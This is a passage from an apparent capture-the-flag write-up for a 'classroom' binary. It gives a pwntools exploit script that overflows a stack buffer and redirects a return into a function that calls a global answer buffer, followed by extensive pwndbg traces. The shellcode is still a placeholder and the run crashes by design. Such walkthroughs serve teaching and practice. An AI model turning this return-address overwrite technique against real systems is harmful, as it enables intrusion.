io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')    # `Well, maybe a last one and then we finish!`                           prompt
io.send(payload2)      # send payload2

# flag = io.recvall()
# log.success(flag)
io.interactive()

Our updated sploit.py with the addition of some print statements for debugging is as follows:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 192.168.13.37 --port 8000 ./classroom
from pwn import *

context.log_level = 'debug'

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './classroom')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '192.168.13.37'
port = int(args.PORT or 8000)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments

shellcode = '' # shellcode placeholder

payload1 = fit({
    0: shellcode
    }, filler=cyclic(92), length=92)
print(hexdump(payload1))

payload2 = fit({
    136: p64(0x40090c)
    }, filler=asm(shellcraft.nop()), length=400)
print(hexdump(payload2))

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

pause()

io.recvuntil(b'> ')    # receive everything and wait for prompt
io.sendline(payload1)  # send payload1 at the `Is everything clear? (y/n)` question
io.recvuntil(b'> ')    # continue receiving and sending data until the 5th question 
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')    # `Well, maybe a last one and then we finish!` prompt
io.send(payload2)      # send payload2
flag = io.recvall()
log.success(flag)
#io.interactive()

We are setting a breakpoint right before the 5th question read() in the kinder() function

~/D/W/b/pwn $ gdb ./classroom
pwndbg> disassemble kinder
Dump of assembler code for function kinder:
...[snip]...
   0x0000000000400a32 <+226>:   lea    rax,[rbp-0x80]
   0x0000000000400a36 <+230>:   mov    edx,0x14c
   0x0000000000400a3b <+235>:   mov    rsi,rax
   0x0000000000400a3e <+238>:   mov    edi,0x0
   0x0000000000400a43 <+243>:   call   0x400740 <read@plt>
...[snip]...
pwndbg> b *0x0000000000400a3e

In a seperate terminal run sploit.py

~/D/W/b/pwn $ python3 sploit.py LOCAL
[*] '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
/home/kidd/Desktop/WORK/bsides24/pwn/sploit.py:63: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  payload1 = fit({
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
00000020  69 61 61 61  6a 61 61 61  6b 61 61 61  6c 61 61 61  │iaaa│jaaa│kaaa│laaa│
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  │maaa│naaa│oaaa│paaa│
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 61  │qaaa│raaa│saaa│taaa│
00000050  75 61 61 61  76 61 61 61  77 61 61 61               │uaaa│vaaa│waaa│
0000005c
[DEBUG] cpp -C -nostdinc -undef -P -I/home/kidd/.local/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        nop
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-aznj2u87/step2 /tmp/pwn-asm-aznj2u87/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-aznj2u87/step3 /tmp/pwn-asm-aznj2u87/step4
00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
*
00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
*
00000190
[+] Starting local process '/home/kidd/Desktop/WORK/bsides24/pwn/classroom': pid 33577
[*] Paused (press any to continue) ### attach the debugger at this point

In the pwndbg terminal

~/D/W/b/pwn $ gdb -q ./classroom
Poetry could not find a pyproject.toml file in /home/kidd/Desktop/WORK/bsides24/pwn or its parents
pwndbg: loaded 157 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ./classroom...
(No debugging symbols found in ./classroom)
------- tip of the day (disable with set show-tips off) -------
GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls

Attach to the process

pwndbg> attach 33577
Attaching to program: /home/kidd/Desktop/WORK/bsides24/pwn/classroom, process 33577
Reading symbols from /lib/x86_64-linux-gnu/libseccomp.so.2...
(No debugging symbols found in /lib/x86_64-linux-gnu/libseccomp.so.2)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/2e/01923fea4ad9f7fa50fe24e0f3385a45a6cd1c.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/a9/700083811ae36d1017fe16ebe5657d59cdda0a.debug...
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f4054f38a1d in __GI___libc_read (fd=0, buf=0x602040 <ans>, nbytes=96) at ../sysdeps/unix/sysv/linux/read.c:26
26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
RAX  0xfffffffffffffe00
 RBX  0x7ffe3275dbf8 —▸ 0x7ffe3275e4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7f4054f38a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x60
 RDI  0
 RSI  0x602040 (ans) ◂— 0
 R8   0xc000
 R9   7
 R10  7
 R11  0x246
 R12  0
 R13  0x7ffe3275dc08 —▸ 0x7ffe3275e524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f405508c000 (_rtld_global) —▸ 0x7f405508d2c0 ◂— 0
 R15  0
 RBP  0x7ffe3275dae0 ◂— 1
 RSP  0x7ffe3275dac8 —▸ 0x400ba0 (main+104) ◂— mov eax, 0
 RIP  0x7f4054f38a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────── 
  0x7f4054f38a1d <read+13>     cmp    rax, -0x1000     0xfffffffffffffe00 - 0xfffffffffffff000     EFLAGS => 0x206 [ cf PF af zf sf IF df of ]   
   0x7f4054f38a23 <read+19>    ja     read+112                    <read+112>
    
   0x7f4054f38a80 <read+112>    mov    rdx, qword ptr [rip + 0xd7379]     RDX, [_GLOBAL_OFFSET_TABLE_+624] => 0xffffffffffffff88
   0x7f4054f38a87 <read+119>    neg    eax
   0x7f4054f38a89 <read+121>    mov    dword ptr fs:[rdx], eax
   0x7f4054f38a8c <read+124>    mov    rax, 0xffffffffffffffff            RAX => 0xffffffffffffffff
   0x7f4054f38a93 <read+131>    ret    
 
   0x7f4054f38a94 <read+132>    nop    dword ptr [rax]
   0x7f4054f38a98 <read+136>    mov    rdx, qword ptr [rip + 0xd7361]     RDX, [_GLOBAL_OFFSET_TABLE_+624] => 0xffffffffffffff88
   0x7f4054f38a9f <read+143>    neg    eax
   0x7f4054f38aa1 <read+145>    mov    dword ptr fs:[rdx], eax
───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffe3275dac8 —▸ 0x400ba0 (main+104) ◂— mov eax, 0
01:0008-010 0x7ffe3275dad0 —▸ 0x400db0 ◂— imul rsp, qword ptr [r11 + r14*2 + 0x20], 0x7473756d
02:0010-008 0x7ffe3275dad8 —▸ 0x400d96 ◂— 'Have a nice day!!\n'
03:0018 rbp 0x7ffe3275dae0 ◂— 1
04:0020+008 0x7ffe3275dae8 —▸ 0x7f4054e61c8a (__libc_start_call_main+122) ◂— mov edi, eax
05:0028+010 0x7ffe3275daf0 —▸ 0x7ffe3275dbe0 —▸ 0x7ffe3275dbe8 ◂— 0x38 /* '8' */
06:0030+018 0x7ffe3275daf8 —▸ 0x400b38 (main) ◂— push rbp
07:0038+020 0x7ffe3275db00 ◂— 0x100400040 /* '@' */
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
  0   0x7f4054f38a1d read+13
   1         0x400ba0 main+104
   2   0x7f4054e61c8a __libc_start_call_main+122
   3   0x7f4054e61d45 __libc_start_main+133
   4         0x40078a _start+42
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Disassemble kinder() and add a breakpoint right after the 5th read(), at 0x0000000000400a48

pwndbg> disassemble kinder
Dump of assembler code for function kinder:
   0x0000000000400950 <+0>:     push   rbp
   0x0000000000400951 <+1>:     mov    rbp,rsp
   0x0000000000400954 <+4>:     add    rsp,0xffffffffffffff80
...[snip]...
   0x0000000000400a32 <+226>:   lea    rax,[rbp-0x80]
   0x0000000000400a36 <+230>:   mov    edx,0x14c
   0x0000000000400a3b <+235>:   mov    rsi,rax
   0x0000000000400a3e <+238>:   mov    edi,0x0
   0x0000000000400a43 <+243>:   call   0x400740 <read@plt>
   0x0000000000400a48 <+248>:   jmp    0x400ade <kinder+398>
...[snip]...
   0x0000000000400ae8 <+408>:   nop
   0x0000000000400ae9 <+409>:   leave
   0x0000000000400aea <+410>:   ret
End of assembler dump.
pwndbg> b *0x0000000000400a48
Breakpoint 1 at 0x400a48

Continue the execution of both pwndbg and sploit.py.

Below is the output of sploit.py

...[snip]...
[DEBUG] Received 0x7e bytes:
    00000000  4b 69 64 73  20 6d 75 73  74 20 66 6f  6c 6c 6f 77  │Kids│ mus│t fo│llow│
    00000010  20 74 68 65  20 72 75 6c  65 73 21 0a  31 2e 20 4e  │ the│ rul│es!·│1. N│
    00000020  6f 20 63 68  65 61 74 69  6e 67 21 20  20 20 e2 9d  │o ch│eati│ng! │  ··│
    00000030  8c 0a 32 2e  20 4e 6f 20  73 77 65 61  72 69 6e 67  │··2.│ No │swea│ring│
    00000040  21 20 20 20  e2 9d 8c 0a  33 2e 20 4e  6f 20 f0 9f  │!   │····│3. N│o ··│
    00000050  9a a9 20 73  68 61 72 69  6e 67 21 20  e2 9d 8c 0a  │·· s│hari│ng! │····│
    00000060  0a 49 73 20  65 76 65 72  79 74 68 69  6e 67 20 63  │·Is │ever│ythi│ng c│
    00000070  6c 65 61 72  3f 20 28 79  2f 6e 29 0a  3e 20        │lear│? (y│/n)·│> │
    0000007e
[DEBUG] Sent 0x5d bytes:
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa\n'
...[snip]...
    b'Enough questions for today class...\n'
    b'Well, maybe a last one and then we finish!\n'
    b'> '
[DEBUG] Sent 0x190 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
    00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000190
[*] Switching to interactive mode
[DEBUG] Received 0x3a bytes:
    00000000  57 68 61 74  20 61 72 65  20 79 6f 75  20 64 6f 69  │What│ are│ you│ doi│
    00000010  6e 67 20 68  65 72 65 3f  21 20 4b 69  64 73 20 61  │ng h│ere?│! Ki│ds a│
    00000020  72 65 20 6e  6f 74 20 61  6c 6c 6f 77  65 64 20 68  │re n│ot a│llow│ed h│
    00000030  65 72 65 21  20 f0 9f 94  9e 0a                     │ere!│ ···│··│
    0000003a
What are you doing here?! Kids are not allowed here! 🔞
[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    b'\n'
[*] Process '/home/kidd/Desktop/WORK/bsides24/pwn/classroom' stopped with exit code -9 (SIGKILL) (pid 33577)
[*] Got EOF while sending in interactive

In pwndbg the program will first break after read(), where $rsp (=$rsi) and $rbp point to our buffer.

pwndbg> c
Continuing.

Breakpoint 1, 0x0000000000400a48 in kinder ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off─────────────────────────────────────────────
*RAX  0x14c
 RBX  0x7ffe3275dbf8 —▸ 0x7ffe3275e4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7f4054f38a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x14c
 RDI  0
*RSI  0x7ffe3275da40 ◂— 0x9090909090909090
*R8   0xff00
 R9   7
 R10  7
 R11  0x246
 R12  0
 R13  0x7ffe3275dc08 —▸ 0x7ffe3275e524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f405508c000 (_rtld_global) —▸ 0x7f405508d2c0 ◂— 0
 R15  0
*RBP  0x7ffe3275dac0 ◂— 0x9090909090909090
*RSP  0x7ffe3275da40 ◂— 0x9090909090909090
*RIP  0x400a48 (kinder+248) ◂— jmp 0x400ade
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
  0x400a48 <kinder+248>                      jmp    kinder+398                  <kinder+398>
    
   0x400ade <kinder+398>                      cmp    dword ptr [rbp - 4], 0     0x90909090 - 0x0     EFLAGS => 0x286 [ cf PF af zf SF IF df of ]
   0x400ae2 <kinder+402>                      je     kinder+107                  <kinder+107>
 
   0x400ae8 <kinder+408>                      nop    
   0x400ae9 <kinder+409>                      leave  
   0x400aea <kinder+410>                      ret                                <kids_are_not_allowed_here>
    
   0x40090c <kids_are_not_allowed_here>       push   rbp
   0x40090d <kids_are_not_allowed_here+1>     mov    rbp, rsp                     RBP => 0x7ffe3275dac8 ◂— 0x9090909090909090
   0x400910 <kids_are_not_allowed_here+4>     sub    rsp, 0x10                    RSP => 0x7ffe3275dab8 (0x7ffe3275dac8 - 0x10)
   0x400914 <kids_are_not_allowed_here+8>     lea    rax, [rip + 0x34d]           RAX => 0x400c68 ◂— push rdi
   0x40091b <kids_are_not_allowed_here+15>    mov    qword ptr [rbp - 8], rax     [0x7ffe3275dac0] => 0x400c68 ◂— push rdi
─────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000 rsi rsp 0x7ffe3275da40 ◂— 0x9090909090909090
...             7 skipped
───────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
  0         0x400a48 kinder+248
   1         0x40090c kids_are_not_allowed_here
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

If we continue execution until the function epilogue, $rsp now points to 0x40090c or the kids_are_not_allowed_here function.

pwndbg> stepret 

Temporary breakpoint -11, 0x0000000000400ae2 in kinder ()

Temporary breakpoint -12, 0x0000000000400aea in kinder ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
 RAX  0x14c
 RBX  0x7ffe3275dbf8 —▸ 0x7ffe3275e4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7f4054f38a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x14c
 RDI  0
 RSI  0x7ffe3275da40 ◂— 0x9090909090909090
 R8   0xff00
 R9   7
 R10  7
 R11  0x246
 R12  0
 R13  0x7ffe3275dc08 —▸ 0x7ffe3275e524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f405508c000 (_rtld_global) —▸ 0x7f405508d2c0 ◂— 0
 R15  0
*RBP  0x9090909090909090
*RSP  0x7ffe3275dac8 —▸ 0x40090c (kids_are_not_allowed_here) ◂— push rbp
*RIP  0x400aea (kinder+410) ◂— ret 
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
   0x400a48 <kinder+248>                      jmp    kinder+398                  <kinder+398>
    
   0x400ade <kinder+398>                      cmp    dword ptr [rbp - 4], 0     0x90909090 - 0x0     EFLAGS => 0x286 [ cf PF af zf SF IF df of ]
   0x400ae2 <kinder+402>                      je     kinder+107                  <kinder+107>
 
   0x400ae8 <kinder+408>                      nop    
   0x400ae9 <kinder+409>                      leave  
  0x400aea <kinder+410>                      ret                                <kids_are_not_allowed_here>
    
   0x40090c <kids_are_not_allowed_here>       push   rbp
   0x40090d <kids_are_not_allowed_here+1>     mov    rbp, rsp                     RBP => 0x7ffe3275dac8 ◂— 0x9090909090909090
   0x400910 <kids_are_not_allowed_here+4>     sub    rsp, 0x10                    RSP => 0x7ffe3275dab8 (0x7ffe3275dac8 - 0x10)
   0x400914 <kids_are_not_allowed_here+8>     lea    rax, [rip + 0x34d]           RAX => 0x400c68 ◂— push rdi
   0x40091b <kids_are_not_allowed_here+15>    mov    qword ptr [rbp - 8], rax     [0x7ffe3275dac0] => 0x400c68 ◂— push rdi
───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffe3275dac8 —▸ 0x40090c (kids_are_not_allowed_here) ◂— push rbp
01:0008     0x7ffe3275dad0 ◂— 0x9090909090909090
...         6 skipped
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
  0         0x400aea kinder+410
   1         0x40090c kids_are_not_allowed_here
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

We continue execution into the kids_are_not_allowed_here() function

pwndbg> s
0x000000000040090c in kids_are_not_allowed_here ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
 RAX  0x14c
 RBX  0x7ffe3275dbf8 —▸ 0x7ffe3275e4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7f4054f38a1d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x14c
 RDI  0
 RSI  0x7ffe3275da40 ◂— 0x9090909090909090
 R8   0xff00
 R9   7
 R10  7
 R11  0x246
 R12  0
 R13  0x7ffe3275dc08 —▸ 0x7ffe3275e524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f405508c000 (_rtld_global) —▸ 0x7f405508d2c0 ◂— 0
 R15  0
 RBP  0x9090909090909090
*RSP  0x7ffe3275dad0 ◂— 0x9090909090909090
*RIP  0x40090c (kids_are_not_allowed_here) ◂— push rbp
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
   0x400ade <kinder+398>                      cmp    dword ptr [rbp - 4], 0     0x90909090 - 0x0     EFLAGS => 0x286 [ cf PF af zf SF IF df of ]
   0x400ae2 <kinder+402>                      je     kinder+107                  <kinder+107>
 
   0x400ae8 <kinder+408>                      nop    
   0x400ae9 <kinder+409>                      leave  
   0x400aea <kinder+410>                      ret                                <kids_are_not_allowed_here>
    
  0x40090c <kids_are_not_allowed_here>       push   rbp
   0x40090d <kids_are_not_allowed_here+1>     mov    rbp, rsp                     RBP => 0x7ffe3275dac8 ◂— 0x9090909090909090
   0x400910 <kids_are_not_allowed_here+4>     sub    rsp, 0x10                    RSP => 0x7ffe3275dab8 (0x7ffe3275dac8 - 0x10)
   0x400914 <kids_are_not_allowed_here+8>     lea    rax, [rip + 0x34d]           RAX => 0x400c68 ◂— push rdi
   0x40091b <kids_are_not_allowed_here+15>    mov    qword ptr [rbp - 8], rax     [0x7ffe3275dac0] => 0x400c68 ◂— push rdi
   0x40091f <kids_are_not_allowed_here+19>    mov    rax, qword ptr [rbp - 8]     RAX, [0x7ffe3275dac0] => 0x400c68 ◂— push rdi
───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffe3275dad0 ◂— 0x9090909090909090
...         7 skipped
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
  0         0x40090c kids_are_not_allowed_here
   1 0x9090909090909090
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Disassemble the kids_are_not_allowed_here() function

pwndbg> disassemble kids_are_not_allowed_here 
Dump of assembler code for function kids_are_not_allowed_here:
=> 0x000000000040090c <+0>:     push   rbp
   0x000000000040090d <+1>:     mov    rbp,rsp
   0x0000000000400910 <+4>:     sub    rsp,0x10
   0x0000000000400914 <+8>:     lea    rax,[rip+0x34d]        # 0x400c68
   0x000000000040091b <+15>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040091f <+19>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400923 <+23>:    mov    rdi,rax
   0x0000000000400926 <+26>:    call   0x400720 <strlen@plt>
   0x000000000040092b <+31>:    mov    rdx,rax
   0x000000000040092e <+34>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400932 <+38>:    mov    rsi,rax
   0x0000000000400935 <+41>:    mov    edi,0x1
   0x000000000040093a <+46>:    call   0x400700 <write@plt>
   0x000000000040093f <+51>:    lea    rdx,[rip+0x2016fa]        # 0x602040 <ans>
   0x0000000000400946 <+58>:    mov    eax,0x0
   0x000000000040094b <+63>:    call   rdx
   0x000000000040094d <+65>:    nop
   0x000000000040094e <+66>:    leave
   0x000000000040094f <+67>:    ret
End of assembler dump.

Set a breakpoint at the call rdx instruction at 0x000000000040094b and continue execution within the kids_are_not_allowed_here() funtion. Note our payload buffer intact in the address pointed to by RDX

pwndbg> b * 0x000000000040094b
Breakpoint 2 at 0x40094b
pwndbg> c
Continuing.

Breakpoint 2, 0x000000000040094b in kids_are_not_allowed_here ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
*RAX  0
 RBX  0x7ffe3275dbf8 —▸ 0x7ffe3275e4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
*RCX  0x7f4054f394e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x602040 (ans) ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa\n'
*RDI  1
*RSI  0x400c68 ◂— push rdi
*R8   4
 R9   7
 R10  7
*R11  0x202
 R12  0
 R13  0x7ffe3275dc08 —▸ 0x7ffe3275e524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f405508c000 (_rtld_global) —▸ 0x7f405508d2c0 ◂— 0
 R15  0
*RBP  0x7ffe3275dac8 ◂— 0x9090909090909090
*RSP  0x7ffe3275dab8 ◂— 0x9090909090909090
*RIP  0x40094b (kids_are_not_allowed_here+63) ◂— call rdx
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
  0x40094b <kids_are_not_allowed_here+63>    call   rdx                         <ans>
        rdi: 1
        rsi: 0x400c68 ◂— push rdi
        rdx: 0x602040 (ans) ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa\n'
        rcx: 0x7f4054f394e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
 
   0x40094d <kids_are_not_allowed_here+65>    nop    
   0x40094e <kids_are_not_allowed_here+66>    leave  
   0x40094f <kids_are_not_allowed_here+67>    ret    
 
   0x400950 <kinder>                          push   rbp
   0x400951 <kinder+1>                        mov    rbp, rsp
   0x400954 <kinder+4>                        add    rsp, -0x80
   0x400958 <kinder+8>                        mov    dword ptr [rbp - 4], 0
   0x40095f <kinder+15>                       lea    rax, [rip + 0x33d]              RAX => 0x400ca3 ◂— 'Have a nice day!\n'
   0x400966 <kinder+22>                       mov    qword ptr [rbp - 0x10], rax
   0x40096a <kinder+26>                       lea    rax, [rip + 0x347]              RAX => 0x400cb8 ◂— push rsi /* 'Very interesting question! Let me think about it.....' */
───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffe3275dab8 ◂— 0x9090909090909090
01:0008-008 0x7ffe3275dac0 —▸ 0x400c68 ◂— push rdi
02:0010 rbp 0x7ffe3275dac8 ◂— 0x9090909090909090
...         5 skipped
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
  0         0x40094b kids_are_not_allowed_here+63
   1 0x9090909090909090
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

We resume execution at call rdx which holds the reference to an address that is storing our payload - which is not valid shellcode yet, just the output of the cyclic command - and as expected leads to a crash.

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000602040 in ans ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
 RAX  0
 RBX  0x7ffe3275dbf8 —▸ 0x7ffe3275e4f5 ◂— '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
 RCX  0x7f4054f394e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x602040 (ans) ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa\n'
 RDI  1
 RSI  0x400c68 ◂— push rdi
 R8   4
 R9   7
 R10  7
 R11  0x202
 R12  0
 R13  0x7ffe3275dc08 —▸ 0x7ffe3275e524 ◂— 'PWD=/home/kidd/Desktop/WORK/bsides24/pwn'
 R14  0x7f405508c000 (_rtld_global) —▸ 0x7f405508d2c0 ◂— 0
 R15  0
 RBP  0x7ffe3275dac8 ◂— 0x9090909090909090
 RSP  0x7ffe3275dab0 —▸ 0x40094d (kids_are_not_allowed_here+65) ◂— nop 
 RIP  0x602040 (ans) ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaa\n'
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
Invalid instructions at 0x602040










───────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000 rsp 0x7ffe3275dab0 —▸ 0x40094d (kids_are_not_allowed_here+65) ◂— nop 
01:0008-010 0x7ffe3275dab8 ◂— 0x9090909090909090
02:0010-008 0x7ffe3275dac0 —▸ 0x400c68 ◂— push rdi
03:0018 rbp 0x7ffe3275dac8 ◂— 0x9090909090909090
...         4 skipped
─────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
  0         0x602040 ans
   1         0x40094d kids_are_not_allowed_here+65
   2 0x9090909090909090
   3 0x9090909090909090
   4 0x9090909090909090
   5 0x9090909090909090
   6 0x9090909090909090
   7 0x9090909090909090
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Inspect what is stored at $rdx

pwndbg> x/32x $rdx
